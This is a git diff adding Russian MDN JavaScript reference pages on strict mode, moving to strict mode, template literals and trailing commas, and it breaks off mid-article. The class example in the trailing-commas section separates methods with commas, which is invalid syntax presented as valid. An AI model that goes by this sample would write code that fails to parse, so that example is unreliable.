+<p>В-третьих, в функциях строгого режима свойство <code>arguments</code> больше не предоставляет доступ к переменным, созданным внутри функции. В некоторых предыдущих реализациях ECMAScript <code>arguments.caller</code> представлял собой объект, свойства которого являлись ссылками на переменные, созданные внутри функции при её вызове. Это представляет собой <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">угрозу безопасности</a>, так как нарушает возможность скрывать приватные данные внутри функций (замыканий). Также это делает невозможными большинство оптимизаций. Исходя из этих причин, ни один из современных браузеров не реализует этого поведения. Но все же, ввиду своей исторической функциональности, <code>arguments.caller</code> для функций в строгом режиме всё ещё является неудаляемым свойством, которое вызывает исключение при попытке его чтения или записи:</p>
+
+<pre class="brush: js">"use strict";
+function fun(a, b) {
+  "use strict";
+
+  var v = 12;
+  return arguments.caller; // выдаст TypeError
+}
+fun(1, 2); // не выводит v (или a, или b)
+</pre>
+
+<h3 id="Подготовка_почвы_для_будущих_версий_ECMAScript">Подготовка почвы для будущих версий ECMAScript</h3>
+
+<p>В будущих версиях ECMAScript с высокой вероятностью появится новый синтаксис, и для упрощения перехода на новые версии, в строгом режиме ECMAScript 5 введено несколько ограничений. Всегда проще вносить изменения в стандарт, если заранее подготовить для них основу в строгом режиме.</p>
+
+<p>Во-первых, в строгом режиме зарезервирован для использования следующий список ключевых слов: <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code> и <code>yield</code>. В строгом режиме, следовательно, вы не можете задействовать эти слова для именования или обращения к переменным или аргументам.</p>
+
+<pre class="brush: js">function package(protected) { // !!!
+  "use strict";
+  var implements; // !!!
+
+  interface: // !!!
+  while (true) {
+    break interface; // !!!
+  }
+
+  function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p>Два замечания, специфичных для Mozilla: Первое, если ваш код создан на JavaScript 1.7 или выше (например, chrome code, или тег <code>&lt;script type=""&gt;</code> заполнен правильно), и применен строгий режим, то <code>let</code> и <code>yield</code> имеют ту же функциональность, которая у них была изначально, когда они только появились. Однако в веб, в строгом коде загруженном через <code>&lt;script src=""&gt;</code> или <code>&lt;script&gt;...&lt;/script&gt;</code>, нельзя будет использовать <code>let</code>/<code>yield</code> в качестве идентификаторов. Второе, в то время как ES5 зарезервировал слова <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code> и <code>super</code> для любого режима, в Firefox 5 Mozilla они были зарезервированы намного раньше и лишь для строгого режима.</p>
+
+<p>Во-вторых, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">в строгом режиме запрещается объявление функций глубже самого верхнего уровня скрипта или функции</a>. В обычном коде в браузерах, объявление функций позволено "везде", <em>что не является частью ES5 (или даже ES3!)</em> Это расширение различных браузеров, не имеющее общего совместимого подхода. Есть надежда, что в последующих редакциях ECMAScript будет определена новая семантика для объявления функций вне верхнего уровня скрипта или функции. <a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Запрет на объявление таких функций в строгом режиме</a> производит "зачистку" для спецификации в будущем релизе ECMAScript:</p>
+
+<pre class="brush: js">"use strict";
+if (true) {
+  function f() { } // !!! синтаксическая ошибка
+  f();
+}
+for (var i = 0; i &lt; 5; i++) {
+  function f2() { } // !!! синтаксическая ошибка
+  f2();
+}
+function baz() { // верно
+  function eit() { } // тоже верно
+}
+</pre>
+
+<p>Данный запрет не является особенностью строгого режима, потому что такое объявление функций является одним из расширений основного ES5. Но это рекомендация комитета ECMAScript, и браузеры реализуют ее.</p>
+
+<h2 id="Строгий_режим_в_браузерах">Строгий режим в браузерах</h2>
+
+<p>В большинстве браузеров в настоящее время строгий режим реализован. Однако не стоит впадать в слепую зависимость от него, потому что существует множество <a class="external external-icon" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Версий браузеров, поддерживающих строгий режим лишь частично</a> или вовсе не поддерживающих оный (например, Internet Explorer ниже версии 10!). <em>Строгий режим изменяет семантику.</em> Надежда на эти изменения приведет к ошибкам и погрешностям в браузерах, в которых строгий режим не реализован. Проявляйте осторожность при использовании строгого режима, и подкрепляйте надежность строгого режима тестами особенностей, которые проверяют, насколько верно реализованы его фрагменты. Наконец, старайтесь <em>тестировать свой код в браузерах, как поддерживающих, так и не поддерживающих строгий режим</em>. Если вы проводите тестирование только в тех браузерах, которые не поддерживают строгий режим, то вполне вероятно у вас появятся проблемы в браузерах, его поддерживающих, и наоборот.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.1.1', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Основные определения. См. также: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-C">Strict mode restriction and exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-strict-mode-of-ecmascript">Ограничения и исключения строгого режима (Strict mode restriction and exceptions</a>)</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td><a href="https://tc39.github.io/ecma262/#sec-strict-mode-of-ecmascript">Ограничения и исключения строгого режима (Strict mode restriction and exceptions</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li>
+ <li><a class="external" href="http://kangax.github.io/compat-table/strict-mode/">Strict mode compatibility table</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
new file mode 100644
index 0000000000..8bbf8096cf
--- /dev/null
+++ b/files/ru/web/javascript/reference/strict_mode/transitioning_to_strict_mode/index.html
@@ -0,0 +1,139 @@
+---
+title: Переход к строгому режиму
+slug: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+tags:
+  - Advanced
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode
+---
+<div>{{jsSidebar("More")}}</div>
+
+<p>В ECMAScript 5 введен {{jsxref('Strict_mode', 'строгий режим')}}, который реализован во всех основных браузерах (включая IE10). В то время как включение интерпретации браузерами кода в строгом режиме делается очень просто (достаточно добавить <code>"use strict";</code> в верхней части вашего исходного кода), для адаптации уже существующего кода к строгому режиму потребуется немного больше работы.</p>
+
+<p>Цель этой статьи: предоставить для разработчиков руководство по переходу к строгому режиму.</p>
+
+<h2 id="Постепенный_переход">Постепенный переход</h2>
+
+<p>Строгий режим был спроектирован таким образом, чтобы переход к нему можно было сделать постепенно. Каждый файл можно переводить к строгому режиму поодиночке, и даже есть возможность включить строгий режим для каждой функции по отдельности.</p>
+
+<h2 id="Различия_non-strict_и_strict_режимов">Различия non-strict и strict режимов</h2>
+
+<h3 id="Синтаксические_ошибки">Синтаксические ошибки</h3>
+
+<p>При добавлении <code>"use strict";</code> следующие случаи вызывают {{jsxref("SyntaxError")}} до выполнения скрипта:</p>
+
+<ul>
+ <li>Восьмеричное представление числа <code>var n = 023;</code></li>
+ <li>Использование оператора <code>{{jsxref('Statements/with', 'with')}}</code></li>
+ <li>Использование <code>{{jsxref('Operators/delete', 'delete')}}</code> на имени переменной <code>delete myVariable;</code></li>
+ <li>Использование <code>{{jsxref('Global_Objects/eval', 'eval')}}</code> или <code>{{jsxref('Functions/arguments', 'arguments')}}</code> как переменную или аргумент функции</li>
+ <li>Использование одного из новых {{jsxref('Lexical_grammar', 'зарезервированных ключевых слов', 'Ключевые_слова')}} (зарезервированных для ECMAScript 6): <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, и <code>yield</code></li>
+ <li>Объявление функций в блоках <code>if (a &lt; b) { function f() {} }</code></li>
+ <li>Очевидные ошибки
+  <ul>
+   <li>Объявление дважды свойства с одним и тем же именем в литерале объекта <code>{a: 1, b: 3, a: 7}</code>. Это уже изменилось в ECMAScript 6 ({{bug(1041128)}}).</li>
+   <li>Объявление нескольких аргументов функции с одним и тем же именем <code>function f(a, b, b) {}</code></li>
+  </ul>
+ </li>
+</ul>
+
+<p>Эти ошибки хороши тем, что обличают скользкие, едва уловимые ошибки и плохие практики написания кода.</p>
+
+<h3 id="Новые_ошибки_времени_выполнения_runtime_errors">Новые ошибки времени выполнения (runtime errors)</h3>
+
+<p>Ранее JavaScript не показывал никаких ошибок и предупреждений в некоторых случаях выполнения некорректного кода. Строгий режим выбрасывает исключения в таких случаях. Если в вашем коде есть такие случаи, тестирование будет необходимо, чтобы убедиться, что ничего не сломалось после перехода к строгому режиму. Ещё раз это может случится на уровне детализации функции.</p>
+
+<h4 id="Установка_значения_необъявленной_переменной">Установка значения необъявленной переменной</h4>
+
+<pre class="brush: js">function f(x) {
+  "use strict";
+  var a = 12;
+  b = a + x * 35; // error!
+}
+f(42);
+</pre>
+
+<p>Здесь изменяется значение глобального объекта, что редко является ожидаемым эффектом. Если вы действительно хотите изменить значение глобального объекта, передайте его в качестве аргумента функции и явно присвойте его как свойство:</p>
+
+<pre class="brush: js">var global = this; // в верхнем контексте "this" всегда
+                   // ссылается на глобальный объект
+function f(x) {
+  "use strict";
+  var a = 12;
+  global.b = a + x * 35;
+}
+f(42);
+</pre>
+
+<h4 id="Попытка_удалить_неконфигурируемое_свойство">Попытка удалить неконфигурируемое свойство</h4>
+
+<pre class="brush: js">"use strict";
+delete Object.prototype; // error!
+</pre>
+
+<p>В нестрогом режиме этот код может молчаливо выполниться неудачей и ничего не сделать, вопреки ожиданиям.</p>
+
+<h4 id="Отравленные_аргументы_arguments_и_свойства_функции">Отравленные аргументы (arguments) и свойства функции</h4>
+
+<p>Обращение к <code>arguments.callee</code>, <code>arguments.caller</code>, <code>anyFunction.caller</code>, или <code>anyFunction.arguments</code> выбросит исключение в строгом режиме. Единственный законный способ повторного использования функции как в:</p>
+
+<pre class="brush: js">// Пример взят из vanillajs: http://vanilla-js.com/
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function() {
+  if((s.opacity-=.1) &lt; 0)
+    s.display = "none";
+  else
+    setTimeout(arguments.callee, 40);
+})();</pre>
+
+<p>может быть переписан как:</p>
+
+<pre class="brush: js">"use strict";
+var s = document.getElementById('thing').style;
+s.opacity = 1;
+(function fadeOut() { // имя функции
+  if((s.opacity-=.1) &lt; 0)
+    s.display = "none";
+  else
+    setTimeout(fadeOut, 40); // используется имя функции
+})();</pre>
+
+<h3 id="Семантические_различия">Семантические различия</h3>
+
+<p>Эти различия очень тонкие. Вполне возможно, что тесты не поймают этот тип едва уловимых отличий. Вероятно, потребуется тщательная рецензия кода, чтобы удостовериться, что эти различия не влияют на семантику вашего кода. К счастью, этот анализ может быть сделан постепенно, спускаясь вниз к реализации каждой конкретной функции.</p>
+
+<h4 id="this_в_вызовах_функции"><code>this</code> в вызовах функции</h4>
+
+<p>В функциях как <code>f()</code>, значением <code>this</code> является глобальный объект. В строгом режиме он теперь равен <code>undefined</code>. Когда функция вызывалась с помощью <code>{{jsxref('Global_Objects/Function/call', 'call')}}</code> или <code>{{jsxref('Global_Objects/Function/apply', 'apply')}}</code>, если значением был примитив, он упаковывался в соответствующий объект (или в глобальный объект для <code>undefined</code> и <code>null</code>). В строгом режиме значение передается без каких-либо преобразований и замен.</p>
+
+<h4 id="arguments_не_является_псевдонимом_именованных_аргументов_функции"><code>arguments</code> не является псевдонимом именованных аргументов функции</h4>
+
+<p>В нестрогом режиме изменение значения в объекте <code>arguments</code> изменяло соответствующий именованный аргумент функции. Это усложняло оптимизацию кода для движков JavaScript и сам код становился менее читабельным и понятным. В строгом режиме объект <code>arguments</code> создается и инициализируется с теми же значениями, что и именованные аргументы, но изменения объекта arguments или именованных аргументов теперь никак не влияют друг на друга.</p>
+
+<h4 id="Изменения_в_eval">Изменения в <code>eval</code></h4>
+
+<p>В строгом режиме eval не создает новой переменной в той области видимости, где был вызван. Также, конечно, в строгом режиме, строка выполняется с правилами строгого режима. Потребуется провести тщательное тестирование, чтобы убедиться, что ничего не сломалось. Не использовать eval, если он вам действительно не нужен, может быть другим прагматичным решением.</p>
+
+<h2 id="Строго-нейтральный_код">Строго-нейтральный код</h2>
+
+<p>Потенциальный "недостаток" перевода кода в строгий режим - это отличия в семантике старых браузеров, в которых он не реализован. В некоторых редких случаях (как при неудачной конкатенации и минификации) ваш код может не запускаться в режиме, в котором вы его писали и тестировали. Здесь несколько правил, как сделать ваш код строго-нейтральным (strictness-neutral):</p>
+
+<ol>
+ <li>Пишите ваш код в строгом режиме и убедитесь в отсутствии ошибок только строго режима (из секции выше "Новые ошибки времени выполнения").</li>
+ <li>Держитесь подальше от семантических различий:
+  <ol>
+   <li><code>eval</code>: используйте только тогда, когда вы знаете что делаете</li>
+   <li><code>arguments</code>: всегда обращайтесь к аргументам функции через их имя или сделайте копию объекта arguments, используя:<br>
+    <code>var args = Array.prototype.slice.call(arguments)</code><br>
+    в самой первой строчке вашей функции</li>
+   <li><code>this</code>: используйте <code>this</code> только тогда, когда он ссылается на объект, созданный вами.</li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref('Strict_mode', 'Строгий режим')}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/template_strings/index.html b/files/ru/web/javascript/reference/template_strings/index.html
new file mode 100644
index 0000000000..d8b4b9a442
--- /dev/null
+++ b/files/ru/web/javascript/reference/template_strings/index.html
@@ -0,0 +1,243 @@
+---
+title: Шаблонные строки
+slug: Web/JavaScript/Reference/template_strings
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Строки
+  - Шаблонные строки
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<div>Шаблонными литералами называются строковые литералы, допускающие использование выражений внутри. С ними вы можете использовать многострочные литералы и строковую интерполяцию. В спецификациях до ES2015 они назывались "шаблонными строками".</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">`строка текста`
+
+`строка текста 1
+ строка текста 2`
+
+`строка текста ${выражение} строка текста`
+
+tag `строка текста ${выражение} строка текста`
+</pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Шаблонные литералы заключены в обратные кавычки (` `) вместо двойных или одинарных. Они могут содержать подстановки, обозначаемые знаком доллара и фигурными скобками (<code>${выражение}</code>). Выражения в подстановках и текст между ними передаются в функцию. По умолчанию функция просто объединяет все части в строку. Если перед строкой есть выражение (здесь это <code>tag</code>), то шаблонная строка называется "теговым шаблоном". В этом случае, теговое выражение (обычно функция) вызывается с обработанным шаблонным литералом, который вы можете изменить перед выводом. Для экранирования обратной кавычки в шаблонных литералах указывается обратный слэш <strong>\</strong>.</p>
+
+<pre class="brush: js">`\`` === '`' // --&gt; true</pre>
+
+<h3 id="Многострочные_литералы">Многострочные литералы</h3>
+
+<p>Символы новой строки являются частью шаблонных литералов. Используя обычные строки, вставка переноса потребовала бы следующего синтаксиса:</p>
+
+<pre class="brush: js">console.log('string text line 1\n' +
+'string text line 2');
+// "string text line 1
+//  string text line 2"</pre>
+
+<p>То же с использованием шаблонных литералов:</p>
+
+<pre class="brush: js">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+//  string text line 2"</pre>
+
+<h3 id="Интерполяция_выражений">Интерполяция выражений</h3>
+
+<p>Для вставки выражений в обычные строки вам пришлось бы использовать следующий синтаксис:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log('Fifteen is ' + (a + b) + ' and not ' + (2 * a + b) + '.');
+// "Fifteen is 15 and not 20."</pre>
+
+<p>Теперь, при помощи шаблонных литералов, вам доступен "синтаксический сахар", делающий подстановки вроде той более читабельными:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and not ${2 * a + b}.`);
+// "Fifteen is 15 and not 20."</pre>
+
+<h3 id="Вложенные_шаблоны">Вложенные шаблоны</h3>
+
+<p>Временами, вложить шаблон — это кратчайший и, возможно, более читабельный способ составить строку. Просто поместите внутрь шаблона с обратными кавычками ещё одни, обернув их в подстановку <code>${ }</code>. Например, если выражение истинно, можно вернуть шаблонный литерал.</p>
+
+<p>В ES5:</p>
+
+<pre class="brush: js">var classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');</pre>
+
+<p>В ES2015 с шаблонными литералами без вложения:</p>
+
+<pre class="brush: js">const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;
+</pre>
+
+<p>В ES2015 с вложенными шаблонными литералами:</p>
+
+<pre class="brush: js">const classes = `header ${ isLargeScreen() ? '' :
+`icon-${item.isCollapsed ? 'expander' : 'collapser'}` }`;
+</pre>
+
+<h3 id="Теговые_шаблоны">Теговые шаблоны</h3>
+
+<p>Расширенной формой шаблонных литералов являются <em>теговые</em> шаблоны. Они позволяют разбирать шаблонные литералы с помощью функции. Первый аргумент такой функции содержит массив строковых значений, а остальные содержат выражения из подстановок. В итоге, функция должна вернуть собранную строку (или что-либо совсем иное, как будет показано далее). Имя функции может быть любым.</p>
+
+<pre class="brush: js">var person = 'Mike';
+var age = 28;
+
+function myTag(strings, personExp, ageExp) {
+  var str0 = strings[0]; // "That "
+  var str1 = strings[1]; // " is a "
+
+  // Технически, в конце итогового выражения
+  // (в нашем примере) есть ещё одна строка,
+  // но она пустая (""), так что пропустим её.
+  // var str2 = strings[2];
+
+  var ageStr;
+  if (ageExp &gt; 99){
+    ageStr = 'centenarian';
+  } else {
+    ageStr = 'youngster';
+  }
+
+  // Мы даже можем вернуть строку, построенную другим шаблонным литералом
+  return `${str0}${personExp}${str1}${ageStr}`;
+}
+
+var output = myTag`That ${ person } is a ${ age }`;
+
+console.log(output);
+// That Mike is a youngster</pre>
+
+<p>Функция тега не обязана возвращать строку, как показано в примере ниже:</p>
+
+<pre class="brush: js">function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+var t1Closure = template`${0}${1}${0}!`;
+t1Closure('Y', 'A');  // "YAY!"
+var t2Closure = template`${0} ${'foo'}!`;
+t2Closure('Hello', {foo: 'World'});  // "Hello World!"
+</pre>
+
+<h3 id="Сырые_строки">Сырые строки</h3>
+
+<p>Специальное свойство <code>raw</code>, доступное для первого аргумента тегового шаблона, позволяет получить строку в том виде, в каком она была введена, без <a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Использование_специальных_символов_в_строках">экранирования</a>.</p>
+
+<pre class="brush: js">function tag(strings) {
+  return strings.raw[0];
+}
+
+tag`string text line 1 \\n string text line 2`;
+// выводит "string text line 1 \\n string text line 2",
+// включая 'n' и два символа '\'
+</pre>
+
+<p>Вдобавок, существует метод {{jsxref('String.raw()')}}, возвращающий точно такую же исходную строку, какую вернула бы функция шаблона по умолчанию и строковая конкатенация вместе.</p>
+
+<pre class="brush: js">var str = String.raw`Hi\n${2+3}!`;
+// "Hi\n5!"
+
+str.length;
+// 6
+
+str.split('').join(',');
+// "H,i,\,n,5,!"</pre>
+
+<h3 id="Теговые_шаблоны_и_экранирование_символов">Теговые шаблоны и экранирование символов</h3>
+
+<h4 id="Поведение_в_ES2016">Поведение в ES2016</h4>
+
+<p>В ECMAScript 2016 теговые шаблоны следуют правилам экранирования следующих символов:</p>
+
+<ul>
+ <li>символы Unicode, начинающиеся с "\u", например, <code>\u00A9</code></li>
+ <li>точки кода Unicode, начинающиеся с "\u{}", например, <code>\u{2F804}</code></li>
+ <li>шестнадцатеричные представления символов, начинающиеся с "\x", например, <code>\xA9</code></li>
+ <li>восьмеричные представления символов, начинающиеся с "\", например, <code>\251</code>​​​​​​</li>
+</ul>
+
+<p>Отсюда вытекает проблема теговых шаблонов: следуя грамматике ECMAScript, анализатор кода, найдя символ <code>\</code>, будет искать корректное представление символа Unicode, но может не найти его вовсе. Пример ниже показывает это:</p>
+
+<pre class="brush: js">latex`\unicode`
+// В старых версиях ECMAScript (ES2016 и раньше) выкинет исключение:
+// SyntaxError: malformed Unicode character escape sequence</pre>
+
+<h4 id="Поведение_в_ES2018">Поведение в ES2018</h4>
+
+<p>Теговые шаблоны должны позволять встраивать языки (например, <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%BC%D0%B5%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA">DSLs</a> или <a href="https://ru.wikipedia.org/wiki/LaTeX">LaTeX</a>), в которых широко используются многие другие экранирования. Предложение <a href="https://tc39.github.io/proposal-template-literal-revision/">Редакция шаблонных литералов</a> (уровень 4, одобренный к добавлению в стандарт ECMAScript 2018) устраняет синтаксические ограничения экранирования теговых шаблонов в ECMAScript.</p>
+
+<p>Однако, некорректное экранирование символов по-прежнему нужно отображать в "приготовленном" отображении. Оно показывается в виде {{jsxref("undefined")}} в "приготовленном" массиве:</p>
+
+<pre class="brush: js">function latex(str) {
+ return { "cooked": str[0], "raw": str.raw[0] }
+}
+
+latex`\unicode`
+
+// { cooked: undefined, raw: "\unicode" }</pre>
+
+<p>Заметьте, что ограничение на экранирование символов проявляется лишь в <em>теговых</em> шаблонах, и не проявляется в <em>нетеговых</em> шаблонных литералах:</p>
+
+<pre class="brush: js example-bad">let bad = `bad escape sequence: \unicode`;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение. Определено в секциях <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Определено в секциях <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-template-literal-revision/">Template Literal Revision</a></td>
+   <td>Черновик 4-го уровня</td>
+   <td>Устранено ограничение экранирования в теговых шаблонах</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из автоматически получаемых данных. Если вы хотите внести свои данные, пожалуйста перейдите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пул-реквест.</div>
+
+<p>{{Compat("javascript.grammar.template_literals")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Лексическая грамматика</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Подобные шаблонам строки в ES3-совместимом синтаксисе</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/">ES6 в деталях: шаблонные строки</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/trailing_commas/index.html b/files/ru/web/javascript/reference/trailing_commas/index.html
new file mode 100644
index 0000000000..9cbe5ae9ea
--- /dev/null
+++ b/files/ru/web/javascript/reference/trailing_commas/index.html
@@ -0,0 +1,183 @@
+---
+title: Висящие запятые
+slug: Web/JavaScript/Reference/Trailing_commas
+tags:
+  - ECMAScript2017
+  - ECMAScript5
+  - Висящая запятая
+  - Запятая
+  - Синтаксис
+translation_of: Web/JavaScript/Reference/Trailing_commas
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p><strong>Висящие запятые</strong> (или "последние запятые") могут быть полезны при добавлении новых элементов, параметров или свойств в код JavaScript. Если вы хотите добавить новое свойство, вы просто добавляете новую строчку без изменения предыдущей, если в ней уже использована висящая запятая. Это делает различия в контроле версий чище и изменение кода может быть менее хлопотным.</p>
+
+<p>JavaScript с самого начала допускает использовать висящих запятых в литералах массива, а затем добавлял их в литералы объекта (ECMAScript 5) и, совсем недавно (ECMAScript 2017), к параметрам функций.</p>
+
+<p>{{Glossary("JSON")}}, однако, не допускает висящих запятых.</p>
+
+<h2 id="Висящие_запятые_в_литералах">Висящие запятые в литералах</h2>
+
+<h3 id="Массивы">Массивы</h3>
+
+<p>JavaScript игнорирует висящие запятые в массивах:</p>
+
+<pre class="brush: js">var arr = [
+  1,
+  2,
+  3,
+];
+
+arr; // [1, 2, 3]
+arr.length; // 3</pre>
+
+<p>Если использовано больше одной висящей запятой, будут созданы "дырки". Массив с "дырками" называется <em>разреженным </em>(<em>плотный </em>массив не имеет "дырок"). При итерации массива при помощи, например, {{jsxref("Array.prototype.forEach()")}} или {{jsxref("Array.prototype.map()")}}, "дырки" будут пропущены.</p>
+
+<pre class="brush: js">var arr = [1, 2, 3,,,];
+arr.length; // 5
+</pre>
+
+<h3 id="Объекты">Объекты</h3>
+
+<p>Начиная с ECMAScript 5, висящие запятые в объектак также допустимы:</p>
+
+<pre class="brush: js">var object = {
+  foo: "bar",
+  baz: "qwerty",
+  age: 42,
+};</pre>
+
+<h2 id="Висящие_запятые_в_функциях">Висящие запятые в функциях</h2>
+
+<p>ECMAScript 2017 допускает висящие запятые в списке параметров функции.</p>
+
+<h3 id="Определение_параметров">Определение параметров</h3>
+
+<p>Следующие определения параметров функций допустимы и равнозначны друг другу. Висящие запятые не влияют на свойство <code>length</code> функции или их объект <code>arguments</code>.</p>
+
+<pre class="brush: js">function f(p) {}
+function f(p,) {}
+
+(p) =&gt; {};
+(p,) =&gt; {};
+</pre>
+
+<p>Висящая запятая также работает с <a href="/ru/docs/Web/JavaScript/Reference/Functions/Определиние_методов">определением методов</a> для классов или объектов:</p>
+
+<pre class="brush: js">class C {
+  one(a,) {},
+  two(a, b,) {},
+}
+
+var obj = {
+  one(a,) {},
+  two(a, b,) {},
+};
+</pre>
+
+<h3 id="Вызов_функци">Вызов функци</h3>
+
+<p>Следующие вызововы функций допустимы и равнозначны друг другу.</p>
+
+<pre class="brush: js">f(p);
+f(p,);
+
+Math.max(10, 20);
+Math.max(10, 20,);
+</pre>
+
+<h3 id="Недопустимые_висящие_запятые">Недопустимые висящие запятые</h3>
+
+<p>Определение параметров функции или вызов функции, содержащих только запятую будет генерировать {{Jsxref("SyntaxError")}}. Кроме того, при использовании <a href="/ru/docs/Web/JavaScript/Reference/Functions/Rest_parameters">оставшихся параметров</a> не допускается использовать висящие запятые:</p>
+
+<pre class="brush: js example-bad">function f(,) {} // SyntaxError: missing formal parameter
+(,) =&gt; {};       // SyntaxError: expected expression, got ','
+f(,)             // SyntaxError: expected expression, got ','
+
+function f(...p,) {} // SyntaxError: parameter after rest parameter
+(...p,) =&gt; {}        // SyntaxError: expected closing parenthesis, got ','
+</pre>
+
+<h2 id="Висящие_запятые_в_деструктурировании">Висящие запятые в деструктурировании</h2>
+
